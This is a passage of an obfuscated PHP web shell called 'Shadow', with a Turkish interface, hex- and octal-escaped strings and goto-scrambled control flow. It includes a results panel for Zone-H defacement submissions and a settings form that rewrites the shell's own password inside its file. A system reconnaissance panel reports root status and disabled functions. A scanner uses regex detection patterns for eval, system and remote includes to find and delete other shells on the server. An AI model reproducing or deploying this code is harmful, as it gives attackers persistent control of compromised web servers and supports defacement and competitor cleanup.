"\74\144\x69\166\40\143\x6c\x61\163\163\75\x22\x7a\157\x6e\145\x68\55\x69\x73\x74\x61\164\x69\x73\x74\x69\153\x2d\153\x61\154\x65\155\151\x22\76"; echo "\74\163\160\141\x6e\76\360\x9f\x93\210\40\102\141\xc5\x9f\x61\x72\304\261\40\x4f\x72\141\156\304\261\74\57\163\160\141\156\76"; echo "\74\163\160\x61\156\x20\143\x6c\141\163\x73\x3d\42\144\x65\x67\x65\x72\42\76" . ($zoneh_toplam > 0 ? round($zoneh_basarili_sayisi / $zoneh_toplam * 100, 1) : 0) . "\x25\x3c\x2f\x73\160\x61\x6e\x3e"; echo "\x3c\57\144\x69\166\76"; echo "\74\144\151\166\x20\143\154\141\x73\163\x3d\x22\172\157\156\x65\150\x2d\151\163\164\141\x74\151\163\x74\151\153\x2d\153\x61\154\145\155\x69\42\76"; echo "\74\x73\160\x61\156\76\xf0\237\x95\x90\x20\x5a\141\x6d\x61\x6e\74\x2f\163\160\141\x6e\76"; echo "\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\x3d\x22\144\x65\x67\x65\162\x22\x3e" . date("\110\72\x69\x3a\163") . "\x3c\x2f\x73\x70\141\156\76"; echo "\74\57\144\x69\166\x3e"; echo "\74\x2f\x64\151\x76\x3e"; if (!empty($zoneh_hata_mesajlari)) { echo "\74\144\151\x76\x20\163\164\171\154\x65\x3d\x22\155\x61\162\147\151\156\x2d\x74\157\160\72\61\60\x70\170\73\x70\141\x64\144\151\156\147\x3a\70\160\x78\x3b\142\x61\x63\x6b\x67\162\157\x75\156\x64\72\162\147\x62\x61\x28\x32\x35\x35\54\61\x37\x30\x2c\60\x2c\x30\56\61\x29\73\x62\157\162\x64\x65\x72\55\x72\141\144\x69\x75\163\72\x34\x70\x78\x3b\142\157\162\x64\x65\x72\x3a\61\x70\x78\x20\163\x6f\154\x69\144\x20\x72\x67\x62\x61\50\x32\x35\65\x2c\61\67\60\54\x30\54\x30\x2e\62\51\x3b\42\76"; echo "\74\144\151\x76\40\x73\x74\171\154\x65\75\42\143\157\154\157\x72\x3a\x23\146\x66\141\x61\60\x30\x3b\x66\x6f\x6e\164\55\167\145\151\x67\150\x74\x3a\142\x6f\x6c\x64\73\146\x6f\x6e\x74\55\x73\x69\172\x65\72\61\60\160\x78\73\146\157\x6e\x74\x2d\x66\141\x6d\151\154\x79\72\103\x6f\x75\x72\x69\x65\x72\40\x4e\x65\x77\54\x6d\157\156\x6f\x73\x70\x61\143\x65\73\42\76\xe2\x9a\xa0\357\xb8\217\40\110\x41\124\101\x20\x44\105\x54\x41\x59\114\x41\x52\x49\72\74\57\x64\x69\166\76"; foreach ($zoneh_hata_mesajlari as $zoneh_hata_mesaji) { echo "\74\x64\x69\166\40\163\164\171\x6c\145\75\x22\x63\157\154\157\162\x3a\43\146\x66\141\x61\x30\x30\73\146\x6f\156\164\55\x73\x69\172\x65\x3a\71\x70\x78\73\x70\141\x64\144\151\156\147\x3a\x32\160\x78\40\60\x3b\146\157\x6e\164\55\146\x61\155\151\154\x79\72\x43\157\165\162\151\x65\x72\x20\x4e\145\167\54\x6d\157\x6e\157\x73\160\x61\143\145\x3b\42\76" . htmlspecialchars($zoneh_hata_mesaji) . "\74\x2f\144\x69\166\76"; } echo "\74\x2f\144\x69\166\x3e"; } $_SESSION["\172\157\156\145\x68\137\x73\157\x6e\x75\x63\x6c\141\162"] = $zoneh_sonuc_dizisi; echo "\74\x2f\x64\x69\x76\x3e"; } } } ?> <?php if (isset($_SESSION["\172\x6f\x6e\145\150\x5f\x73\157\156\x75\x63\154\x61\x72"]) && !isset($_POST["\172\x6f\156\x65\150\x5f\145\171\x6c\x65\155"])) { ?> <div class="zoneh-sonuclar"> <?php foreach ($_SESSION["\172\x6f\x6e\x65\x68\137\163\x6f\x6e\165\x63\154\141\x72"] as $zoneh_kayit) { ?> <div class="zoneh-sonuc-kalemi" style="border-left-color:<?php echo $zoneh_kayit["\x62\x75\x6c\x75\x6e\144\165"] ? "\x23\146\x66\60\60\x34\64" : "\43\142\63\60\60\146\x66"; ?> ;"> <span class="alan-adı"> <i class="fas <?php echo $zoneh_kayit["\142\165\154\165\156\144\x75"] ? "\146\141\55\x65\x78\143\x6c\141\x6d\x61\x74\x69\157\x6e\x2d\164\x72\151\141\156\x67\154\x65" : "\x66\x61\55\147\x6c\157\142\x65"; ?> " style="color:<?php echo $zoneh_kayit["\142\165\154\x75\156\144\165"] ? "\x23\146\x66\60\60\64\64" : "\x23\142\63\60\x30\x66\x66"; ?> ;"></i> <?php echo htmlspecialchars($zoneh_kayit["\141\x6c\141\x6e"]); ?> </span> <span class="durum <?php echo $zoneh_kayit["\163\x69\156\151\x66"]; ?> "><?php echo $zoneh_kayit["\144\x75\x72\x75\x6d"]; ?> </span> </div> <?php } ?> </div> <?php } ?> </div> <?php } goto o80YA; nJCBf: echo $action == "\x6a\157\157\155\x6c\x61" ? "\141\x63\x74\151\166\x65" : ''; goto Zx5sn; MocYj: if ($action == "\x73\145\x74\x74\151\x6e\x67\163") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-key"></i> Şifre Değiştir</h4> <form method="POST"> <input type="password" name="new_pass1" placeholder="Yeni Şifre"> <input type="password" name="new_pass2" placeholder="Yeni Şifre (Tekrar)"> <button type="submit" name="change_pass" value="1" class="btn">Güncelle</button> </form> <?php if (isset($_POST["\143\x68\141\156\147\145\x5f\x70\141\x73\x73"]) && $_POST["\156\x65\x77\137\x70\x61\x73\x73\x31"] == $_POST["\x6e\x65\167\137\160\x61\x73\x73\62"] && strlen($_POST["\156\x65\167\x5f\x70\141\x73\x73\61"]) > 0) { ?> <?php $file = file_get_contents(__FILE__); $new = str_replace("\47\160\x61\163\x73\167\157\162\x64\47\40\x3d\76\40\x27" . $config["\160\141\x73\x73\167\x6f\x72\x64"] . "\47", "\47\160\141\163\x73\x77\157\x72\144\47\40\75\76\x20\47" . $_POST["\156\x65\x77\137\160\x61\x73\x73\x31"] . "\x27", $file); file_put_contents(__FILE__, $new); echo "\74\144\151\166\40\143\x6c\x61\x73\163\x3d\x22\157\165\x74\x70\165\x74\x20\163\x75\x63\143\x65\163\163\42\76\342\x9c\x85\x20\305\x9e\151\x66\162\145\40\x67\303\274\x6e\143\x65\x6c\x6c\x65\x6e\x64\x69\x21\x20\131\145\x6e\151\x64\x65\x6e\40\147\151\x72\x69\xc5\x9f\40\171\141\x70\304\xb1\156\x2e\x3c\57\144\151\x76\76"; ?> <?php } ?> </div> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-info-circle"></i> Sistem Bilgisi</h4> <div class="terminal-box"> <div class="term-body"> <div class="output">PHP: <?php echo phpversion(); ?> </div> <div class="output">OS: <?php echo isWindows() ? "\x57\x69\156\144\x6f\x77\x73" : PHP_OS; ?> </div> <div class="output">Server: <?php echo $_SERVER["\123\105\x52\x56\x45\x52\x5f\x53\x4f\x46\124\127\x41\x52\105"]; ?> </div> <div class="output">User: <?php echo getCurrentUser(); ?> </div> <div class="output">Root: <?php echo isRoot() ? "\342\234\x85\x20\105\x76\x65\164" : "\342\x9d\214\40\x48\141\x79\xc4\xb1\162"; ?> </div> <div class="output">CWD: <?php echo getcwd(); ?> </div> <div class="output">Disabled Functions: <?php echo ini_get("\144\x69\163\141\x62\154\145\137\x66\x75\x6e\143\x74\151\157\x6e\163") ?: "\x59\x6f\153"; ?> </div> <div class="output">Memory Limit: <?php echo ini_get("\x6d\x65\x6d\157\162\171\x5f\x6c\x69\155\x69\164"); ?> </div> <div class="output">Max Execution: <?php echo ini_get("\155\x61\170\137\145\x78\x65\x63\165\164\151\x6f\156\137\164\x69\155\145"); ?> s</div> <div class="output">Upload Max: <?php echo ini_get("\x75\x70\154\x6f\141\x64\x5f\x6d\x61\x78\x5f\x66\x69\154\x65\x73\151\x7a\x65"); ?> </div> <div class="output">POST Max: <?php echo ini_get("\x70\157\163\164\137\155\141\170\137\163\x69\172\145"); ?> </div> <div class="output">Open Basedir: <?php echo ini_get("\157\160\145\x6e\137\142\x61\163\145\144\x69\x72") ?: "\x59\157\x6b"; ?> </div> <div class="output">Extensions: <?php echo implode("\x2c\x20", get_loaded_extensions()); ?> </div> </div> </div> </div> <?php } goto VydM6; MWpyq: ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Shadow <?php goto azSa1; rNGbJ: echo $action == "\144\x61\163\150\142\157\141\x72\144" ? "\141\143\x74\x69\x76\145" : ''; goto sw0gq; zEceQ: if ($action == "\x73\x68\x65\154\154\x73\143\141\x6e") { ?> <style> /* Shell Scanner Styles */ .shell-scanner { background: linear-gradient(135deg, #0a000a, #1a001a); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 12px; padding: 18px; margin: 10px 0; box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); position: relative; overflow: hidden; } .shell-scanner::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(179, 0, 255, 0.05) 0%, transparent 70%); animation: scannerPulse 15s ease-in-out infinite; pointer-events: none; } @keyframes scannerPulse { 0%, 100% { transform: rotate(0deg) scale(1); opacity: 0.5; } 50% { transform: rotate(180deg) scale(1.5); opacity: 1; } } .shell-scanner-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 2px solid rgba(179, 0, 255, 0.2); } .shell-scanner-title { color: #b300ff; font-size: 14px; font-weight: 700; text-shadow: 0 0 20px rgba(179, 0, 255, 0.5); display: flex; align-items: center; gap: 10px; } .shell-scanner-title i { font-size: 18px; } .shell-scanner-stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 8px; margin-bottom: 15px; } .shell-stat-item { background: rgba(0, 0, 0, 0.4); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 8px; padding: 8px; text-align: center; transition: all 0.3s; } .shell-stat-item:hover { border-color: rgba(179, 0, 255, 0.3); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); } .shell-stat-item .number { color: #b300ff; font-size: 20px; font-weight: 700; text-shadow: 0 0 20px rgba(179, 0, 255, 0.3); } .shell-stat-item .label { color: #8866aa; font-size: 9px; text-transform: uppercase; letter-spacing: 0.5px; margin-top: 2px; } .shell-scanner-form { display: flex; gap: 8px; margin-bottom: 15px; flex-wrap: wrap; } .shell-scanner-form input[type="text"] { flex: 1; min-width: 200px; background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 6px; padding: 8px 12px; color: #d4bfff; font-size: 12px; font-family: 'Courier New', monospace; transition: all 0.3s; } .shell-scanner-form input[type="text"]:focus { border-color: #b300ff; box-shadow: 0 0 20px rgba(179, 0, 255, 0.2); outline: none; } .shell-scanner-form select { background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 6px; padding: 8px 12px; color: #d4bfff; font-size: 12px; font-family: 'Courier New', monospace; cursor: pointer; } .shell-scanner-form select option { background: #1a0a2e; color: #d4bfff; } .btn-scanner { padding: 8px 16px; border: none; border-radius: 6px; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s; font-family: 'Courier New', monospace; display: inline-flex; align-items: center; justify-content: center; gap: 6px; color: #ffffff !important; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); } .btn-scanner i { color: #ffffff !important; } .btn-scanner-primary { background: linear-gradient(135deg, #b300ff, #7a00cc); color: #ffffff !important; box-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } .btn-scanner-primary:hover { transform: scale(1.05); box-shadow: 0 0 40px rgba(179, 0, 255, 0.4); color: #ffffff !important; } .btn-scanner-danger { background: linear-gradient(135deg, #ff0044, #b30033); color: #ffffff !important; box-shadow: 0 0 20px rgba(255, 0, 68, 0.2); } .btn-scanner-danger:hover { transform: scale(1.05); box-shadow: 0 0 40px rgba(255, 0, 68, 0.4); color: #ffffff !important; } .btn-scanner-success { background: linear-gradient(135deg, #00cc66, #008b45); color: #ffffff !important; box-shadow: 0 0 20px rgba(0, 255, 136, 0.2); } .btn-scanner-success:hover { transform: scale(1.05); box-shadow: 0 0 40px rgba(0, 255, 136, 0.4); color: #ffffff !important; } .btn-scanner-warning { background: linear-gradient(135deg, #ff8800, #cc6600); color: #ffffff !important; box-shadow: 0 0 20px rgba(255, 170, 0, 0.2); } .btn-scanner-warning:hover { transform: scale(1.05); box-shadow: 0 0 40px rgba(255, 170, 0, 0.4); color: #ffffff !important; } .shell-scanner-options { display: flex; gap: 12px; flex-wrap: wrap; margin-bottom: 12px; } .shell-scanner-options label { color: #8866aa; font-size: 11px; display: flex; align-items: center; gap: 4px; cursor: pointer; font-family: 'Courier New', monospace; } .shell-scanner-options input[type="checkbox"] { accent-color: #b300ff; width: 14px; height: 14px; cursor: pointer; } .shell-scanner-options select { background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 4px; padding: 4px 8px; color: #d4bfff; font-size: 11px; font-family: 'Courier New', monospace; } .shell-results { background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 8px; max-height: 500px; overflow-y: auto; padding: 10px; font-family: 'Courier New', monospace; font-size: 11px; margin-top: 10px; } .shell-results::-webkit-scrollbar { width: 4px; } .shell-results::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); } .shell-results::-webkit-scrollbar-thumb { background: linear-gradient(135deg, #b300ff, #ff0044); border-radius: 2px; } .shell-result-item { padding: 6px 10px; margin: 2px 0; border-radius: 4px; border-left: 3px solid rgba(179, 0, 255, 0.3); transition: all 0.2s; display: flex; justify-content: space-between; align-items: center; gap: 10px; } .shell-result-item:hover { background: rgba(179, 0, 255, 0.05); border-left-color: #b300ff; } .shell-result-item .file-path { color: #d4bfff; flex: 1; word-break: break-all; font-family: 'Courier New', monospace; } .shell-result-item .file-path i { margin-right: 6px; color: #b300ff; } .shell-result-item .file-info { color: #8866aa; font-size: 9px; white-space: nowrap; } .shell-result-item .risk-badge { padding: 2px 8px; border-radius: 10px; font-size: 8px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px; } .risk-badge.critical { background: rgba(255, 0, 68, 0.2); color: #ff0044; border: 1px solid rgba(255, 0, 68, 0.3); } .risk-badge.high { background: rgba(255, 170, 0, 0.2); color: #ffaa00; border: 1px solid rgba(255, 170, 0, 0.3); } .risk-badge.medium { background: rgba(179, 0, 255, 0.2); color: #b300ff; border: 1px solid rgba(179, 0, 255, 0.3); } .risk-badge.low { background: rgba(0, 255, 136, 0.2); color: #00ff88; border: 1px solid rgba(0, 255, 136, 0.3); } .shell-result-detail { background: rgba(0, 0, 0, 0.4); padding: 8px 12px; border-radius: 4px; margin: 4px 0 4px 20px; font-size: 10px; color: #aaffaa; border-left: 2px solid #b300ff; display: none; font-family: 'Courier New', monospace; } .shell-result-detail.show { display: block; } .shell-result-detail .line { color: #8866aa; padding: 1px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .shell-result-detail .line .highlight { color: #ff0044; font-weight: bold; background: rgba(255, 0, 68, 0.1); padding: 0 4px; border-radius: 2px; } .scan-progress { background: rgba(0, 0, 0, 0.6); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 6px; padding: 6px; margin: 8px 0; position: relative; overflow: hidden; } .scan-progress-bar { height: 4px; background: linear-gradient(90deg, #b300ff, #ff0044, #b300ff); border-radius: 2px; transition: width 0.5s ease; background-size: 200% 100%; animation: progressGradient 2s linear infinite; } @keyframes progressGradient { 0% { background-position: 0% 0%; } 100% { background-position: 200% 0%; } } .scan-progress-text { color: #8866aa; font-size: 9px; text-align: center; margin-top: 4px; font-family: 'Courier New', monospace; } .shell-summary { display: grid; grid-template-columns: 1fr 1fr; gap: 8px; margin-top: 10px; padding: 10px; background: rgba(0, 0, 0, 0.3); border-radius: 6px; border: 1px solid rgba(179, 0, 255, 0.1); } .shell-summary-item { display: flex; justify-content: space-between; color: #8866aa; font-size: 10px; padding: 2px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); font-family: 'Courier New', monospace; } .shell-summary-item .value { color: #d4bfff; font-weight: bold; } .shell-summary-item .value.danger { color: #ff0044; } .shell-summary-item .value.warning { color: #ffaa00; } .shell-summary-item .value.success { color: #00ff88; } /* Tüm butonlardaki ikonlar için */ .btn-scanner i, .btn-scanner i.fas, .btn-scanner i.far, .btn-scanner i.fab { color: #ffffff !important; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); } /* Buton içindeki tüm metinler için */ .btn-scanner, .btn-scanner span, .btn-scanner * { color: #ffffff !important; } /* Hover durumunda da beyaz kalsın */ .btn-scanner:hover, .btn-scanner:hover i, .btn-scanner:hover span, .btn-scanner:hover * { color: #ffffff !important; } </style> <div class="shell-scanner"> <!-- Header --> <div class="shell-scanner-header"> <div class="shell-scanner-title"> <i class="fas fa-shield-halved"></i> SHELL TARAYICI v2.0 <span style="font-size:8px;color:#8866aa;font-weight:400;"> <i class="fas fa-crown" style="color:#b300ff;"></i> ULTRA EDITION </span> </div> <div style="display:flex;gap:6px;align-items:center;"> <span style="font-size:8px;color:#8866aa;background:rgba(179,0,255,0.1);padding:2px 8px;border-radius:10px;border:1px solid rgba(179,0,255,0.2);font-family:'Courier New',monospace;"> <i class="fas fa-bolt" style="color:#b300ff;"></i> <?php echo php_uname("\163"); ?> </span> </div> </div> <!-- Stats --> <div class="shell-scanner-stats" id="scannerStats"> <div class="shell-stat-item"> <div class="number" id="totalFiles">0</div> <div class="label">Toplam Dosya</div> </div> <div class="shell-stat-item"> <div class="number" id="suspiciousFiles">0</div> <div class="label">Şüpheli Dosya</div> </div> <div class="shell-stat-item"> <div class="number" id="criticalFiles">0</div> <div class="label">Kritik Zafiyet</div> </div> <div class="shell-stat-item"> <div class="number" id="scanTime">0</div> <div class="label">Tarama Süresi (sn)</div> </div> </div> <!-- Form --> <form method="POST" id="shellScanForm"> <div class="shell-scanner-form"> <input type="text" name="shell_dir" placeholder="📁 Aranacak dizin" value="<?php echo htmlspecialchars($_POST["\163\x68\x65\154\154\x5f\144\x69\x72"] ?? getcwd()); ?> "> <select name="shell_depth"> <option value="1">🔰 Derinlik 1</option> <option value="2">🔰 Derinlik 2</option> <option value="3" selected>🔰 Derinlik 3</option> <option value="5">🔰 Derinlik 5</option> <option value="10">🔰 Derinlik 10</option> <option value="0">🔰 Sınırsız</option> </select> <select name="shell_file_types"> <option value="php,phtml,inc">🐘 PHP Dosyaları</option> <option value="php,phtml,inc,js,html,txt">📄 Tüm Metin</option> <option value="php,phtml,inc,js,html,txt,py,pl,sh,asp,aspx,jsp">🌐 Tüm Web</option> <option value="*">📦 Tüm Dosyalar</option> </select> </div> <div class="shell-scanner-options"> <label><input type="checkbox" name="deep_scan" checked> Derin Tarama</label> <label><input type="checkbox" name="check_obfuscation" checked> Obfuscation Kontrolü</label> <label><input type="checkbox" name="check_encryption"> Şifreleme Kontrolü</label> <label><input type="checkbox" name="show_details"> Detay Göster</label> <label><input type="checkbox" name="auto_delete" id="autoDelete"> Otomatik Sil</label> <select name="scan_speed" style="margin-left:auto;"> <option value="fast">🚀 Hızlı</option> <option value="normal" selected>⚡ Normal</option> <option value="deep">🔍 Derin</option> </select> </div> <div style="display:flex;gap:8px;flex-wrap:wrap;"> <button type="submit" name="shell_action" value="scan" class="btn-scanner btn-scanner-danger"> <i class="fas fa-search"></i> TARA </button> <button type="submit" name="shell_action" value="scan_all" class="btn-scanner btn-scanner-warning"> <i class="fas fa-radar"></i> FULL TARA </button> <button type="submit" name="shell_action" value="clean" class="btn-scanner btn-scanner-success" onclick="return confirm('⚠️ Tüm şüpheli dosyalar silinecek! Emin misin?')"> <i class="fas fa-broom"></i> TEMİZLE </button> <button type="submit" name="shell_action" value="export" class="btn-scanner btn-scanner-primary"> <i class="fas fa-file-export"></i> DIŞA AKTAR </button> </div> </form> <?php if (isset($_POST["\163\150\x65\154\x6c\137\x61\143\164\151\157\x6e"]) && in_array($_POST["\163\x68\145\x6c\154\137\x61\143\164\x69\157\x6e"], array("\163\x63\x61\x6e", "\163\143\141\156\x5f\x61\x6c\154", "\x63\x6c\x65\x61\x6e", "\x65\x78\x70\157\x72\x74"))) { $dir = $_POST["\x73\150\x65\x6c\154\137\x64\x69\162"] ?? getcwd(); $depth = intval($_POST["\x73\150\145\x6c\x6c\137\144\x65\x70\164\x68"] ?? 3); $file_types = explode("\54", $_POST["\x73\150\x65\154\x6c\x5f\x66\x69\x6c\x65\x5f\x74\x79\160\145\163"] ?? "\x70\x68\160\54\160\150\164\155\154\54\151\156\143"); $deep_scan = isset($_POST["\144\x65\145\x70\x5f\163\143\x61\156"]); $check_obfuscation = isset($_POST["\143\x68\145\x63\x6b\137\157\142\x66\165\x73\143\141\x74\x69\157\156"]); $check_encryption = isset($_POST["\143\150\145\143\x6b\137\145\x6e\x63\x72\171\x70\164\x69\x6f\156"]); $show_details = isset($_POST["\x73\x68\x6f\167\137\x64\x65\164\x61\151\x6c\x73"]); $auto_delete = isset($_POST["\x61\x75\164\x6f\x5f\144\x65\x6c\145\164\x65"]); $scan_speed = $_POST["\x73\143\x61\156\137\163\160\145\x65\x64"] ?? "\156\x6f\x72\155\x61\x6c"; $patterns = array("\x63\162\x69\164\151\x63\141\x6c" => array("\57\163\171\x73\164\145\x6d\134\163\x2a\x5c\x28\57" => "\123\171\x73\x74\x65\155\40\x43\x61\x6c\x6c", "\57\145\170\145\x63\x5c\x73\x2a\134\x28\x2f" => "\x45\x78\x65\143\40\103\x61\x6c\154", "\57\x73\x68\145\154\x6c\x5f\145\170\x65\x63\134\163\x2a\134\x28\x2f" => "\x53\x68\x65\154\154\x20\x45\x78\x65\143", "\57\160\x61\x73\x73\164\150\x72\x75\x5c\163\52\x5c\50\57" => "\120\x61\163\163\164\x68\x72\165", "\x2f\160\157\x70\145\x6e\134\x73\x2a\134\50\x2f" => "\120\157\160\145\x6e", "\x2f\160\x72\x6f\x63\x5f\x6f\160\145\x6e\x5c\x73\x2a\134\x28\x2f" => "\x50\x72\x6f\143\40\x4f\160\145\x6e", "\x2f\160\x63\x6e\164\x6c\x5f\x65\x78\x65\143\134\x73\52\x5c\50\57" => "\x50\103\x4e\x54\114\40\x45\x78\x65\x63", "\57\x65\x76\x61\x6c\134\163\52\134\x28\x2f" => "\105\166\x61\154", "\57\141\163\163\x65\162\164\x5c\x73\52\x5c\50\57" => "\x41\x73\x73\145\x72\x74", "\x2f\x63\x72\x65\141\164\x65\137\146\x75\x6e\143\164\x69\x6f\x6e\134\163\52\134\50\x2f" => "\x43\x72\x65\x61\164\145\x20\x46\165\156\143\164\151\x6f\x6e", "\x2f\x70\x72\x65\x67\x5f\162\145\160\x6c\x61\x63\x65\134\x73\52\x5c\50\x2e\52\x5c\x2f\145\x2f" => "\x50\x72\145\147\x20\122\x65\160\154\x61\143\x65\x20\57\145", "\57\142\141\163\145\x36\64\x5f\x64\x65\x63\x6f\144\x65\134\163\52\134\50\57" => "\102\x61\163\145\x36\64\x20\104\145\x63\157\144\145", "\57\x67\x7a\151\156\x66\x6c\141\x74\145\x5c\163\52\x5c\50\x2f" => "\x47\172\151\156\146\154\x61\164\145", "\57\x67\172\x75\x6e\x63\x6f\x6d\x70\162\x65\x73\x73\x5c\163\52\134\x28\57" => "\x47\172\x75\156\x63\x6f\x6d\x70\162\145\163\163", "\x2f\x73\164\162\x5f\x72\x6f\x74\x31\63\134\163\x2a\x5c\x28\x2f" => "\x53\x74\162\40\122\157\x74\x31\63", "\x2f\150\145\170\62\142\x69\156\134\163\52\134\x28\57" => "\110\145\170\x32\x42\151\156", "\57\x70\141\143\153\x5c\x73\52\134\x28\57" => "\x50\x61\143\x6b", "\57\x63\165\162\154\x5f\x65\x78\145\x63\134\x73\52\x5c\x28\57" => "\x43\x75\x72\154\40\105\x78\145\143", "\x2f\146\x69\x6c\145\x5f\x67\x65\x74\137\143\157\156\x74\x65\156\x74\163\134\163\x2a\134\50\x2e\52\x68\164\x74\x70\57" => "\122\x65\155\x6f\164\x65\x20\x46\x69\x6c\x65\40\107\145\164", "\x2f\x66\x6f\160\145\x6e\134\x73\x2a\134\50\56\52\150\x74\x74\160\x2f" => "\122\145\155\157\164\x65\x20\x46\151\x6c\x65\x20\117\x70\x65\156", "\57\151\x6e\143\154\165\x64\x65\134\163\52\134\50\56\x2a\150\x74\164\x70\x2f" => "\122\145\155\x6f\x74\x65\x20\111\x6e\x63\154\x75\x64\x65", "\x2f\x72\x65\161\165\x69\162\x65\134\x73\52\x5c\50\x2e\52\150\164\x74\160\x2f" => "\x52\x65\x6d\157\164\x65\x20\122\x65\x71\x75\x69\162\x65", "\57\140\133\x5e\140\135\53\140\x2f" => "\102\141\x63\153\164\x69\143\x6b\40\123\x68\x65\x6c\154", "\x2f\x5c\44\x5f\133\x41\55\x5a\135\x2b\134\133\x2e\x2a\77\134\135\x2f" => "\x53\x75\x70\145\162\147\154\157\x62\141\154\40\x41\x63\143\x65\x73\x73", "\x2f\x66\x69\x6c\145\137\160\x75\164\137\x63\x6f\x6e\164\x65\x6e\164\x73\x5c\x73\x2a\134\50\57" => "\x46\151\154\145\40\x57\162\x69\164\145", "\x2f\143\150\x6d\157\144\x5c\163\52\134\50\x2f" => "\x43\150\155\157\144", "\57\143\x68\x6f\x77\156\134\x73\x2a\x5c\50\57" => "\103\150\157\x77\156"), "\x68\151\147\150" => array("\x2f\151\156\151\x5f\163\x65\x74\134\163\52\134\x28\57" => "\111\156\151\40\x53\145\x74", "\57\145\162\x72\157\162\x5f\x72\x65\x70\157\x72\164\x69\x6e\x67\134\x73\x2a\134\x28\x30\x2f" => "\x45\162\x72\x6f\162\x20\x52\145\x70\x6f\x72\164\x69\x6e\147\x20\x44\151\x73\141\142\154\145\144", "\57\163\x65\164\x5f\x74\x69\x6d\145\x5f\154\x69\x6d\151\x74\x5c\x73\52\x5c\x28\60\x2f" => "\x53\x65\164\40\x54\x69\x6d\x65\40\114\151\155\151\x74\40\x30", "\x2f\151\x67\x6e\157\162\x65\137\165\x73\145\162\x5f\x61\x62\x6f\162\164\134\x73\52\134\x28\164\162\165\145\x2f" => "\111\147\x6e\x6f\162\x65\40\x55\x73\x65\162\x20\x41\x62\157\x72\x74", "\57\162\x65\x67\151\163\164\x65\162\137\x73\150\x75\164\144\157\167\156\x5f\146\x75\156\x63\x74\151\x6f\156\x2f" => "\123\150\x75\x74\x64\157\167\156\40\x46\165\156\143\x74\151\x6f\x6e", "\x2f\157\142\137\163\x74\141\162\x74\57" => "\117\x75\x74\160\165\x74\x20\102\x75\x66\x66\x65\162", "\57\144\x6c\x5c\163\52\x5c\x28\x2f" => "\x44\171\156\x61\x6d\x69\x63\40\x4c\157\141\x64", "\x2f\141\x70\141\143\x68\x65\x5f\147\x65\164\145\x6e\x76\x2f" => "\x41\160\141\143\x68\145\40\x47\x65\x74\40\x45\156\166", "\x2f\147\x65\x74\145\x6e\x76\57" => "\107\145\x74\x20\x45\x6e\166", "\57\160\x75\x74\x65\x6e\x76\57" => "\120\165\x74\x20\x45\x6e\x76", "\57\x73\157\x63\153\x65\x74\137\x63\x72\145\141\164\145\x2f" => "\123\157\x63\153\145\164\40\103\162\145\x61\164\x65", "\x2f\146\x73\x6f\143\153\x6f\x70\145\156\x2f" => "\x46\x53\157\x63\153\40\117\x70\145\156", "\57\163\x74\162\x65\x61\155\137\x73\x6f\143\153\x65\x74\x5f\x63\154\151\x65\x6e\164\57" => "\x53\x74\x72\x65\x61\155\x20\123\x6f\x63\153\145\x74"), "\155\145\144\x69\165\x6d" => array("\x2f\x40\134\x73\52\50\163\x79\x73\x74\x65\x6d\174\145\x78\x65\143\174\x73\x68\145\154\154\x5f\x65\170\x65\x63\x7c\160\x61\163\163\x74\150\x72\x75\x7c\x70\x6f\x70\x65\x6e\x7c\160\162\157\x63\x5f\157\x70\145\156\x29\57" => "\105\x72\x72\157\x72\40\123\165\x70\160\162\145\x73\x73\x65\x64\40\x43\141\x6c\154", "\x2f\x5c\44\x47\x4c\x4f\x42\101\114\123\x5c\133\56\52\x3f\x5c\135\x2f" => "\x47\114\117\x42\x41\x4c\x53\x20\101\x63\143\145\163\x73", "\57\x65\x78\x74\162\x61\143\164\x5c\163\52\134\50\57" => "\105\170\164\162\x61\143\164", "\x2f\x70\141\162\163\145\x5f\163\164\162\134\x73\52\x5c\50\57" => "\x50\x61\x72\x73\145\40\123\164\162", "\x2f\151\155\x70\x6f\x72\x74\x5f\x72\x65\161\x75\145\x73\x74\x5f\x76\x61\162\x69\x61\x62\154\145\x73\57" => "\x49\x6d\x70\x6f\162\164\x20\x56\x61\162\151\x61\x62\x6c\x65\163", "\x2f\x72\145\147\x69\163\164\x65\x72\137\x67\154\x6f\142\x61\x6c\163\57" => "\122\145\x67\x69\x73\x74\145\x72\x20\x47\154\157\x62\141\154\163", "\57\44\137\106\x49\x4c\105\123\x2f" => "\106\x69\154\145\40\125\160\x6c\x6f\x61\x64", "\x2f\x6d\x6f\x76\x65\137\x75\160\154\x6f\141\x64\145\x64\137\146\x69\x6c\145\x2f" => "\115\157\x76\x65\x20\x55\160\154\x6f\141\144\x65\x64"), "\154\x6f\x77" => array("\57\x3c\x5c\77\160\x68\x70\x2f" => "\120\110\120\x20\x54\141\147", "\x2f\74\134\77\75\x5c\x73\x2a\x2f" => "\123\150\157\162\x74\x20\120\x48\x50\x20\124\x61\147", "\57\145\x63\150\157\x5c\163\x2a\x2f" => "\105\143\x68\157", 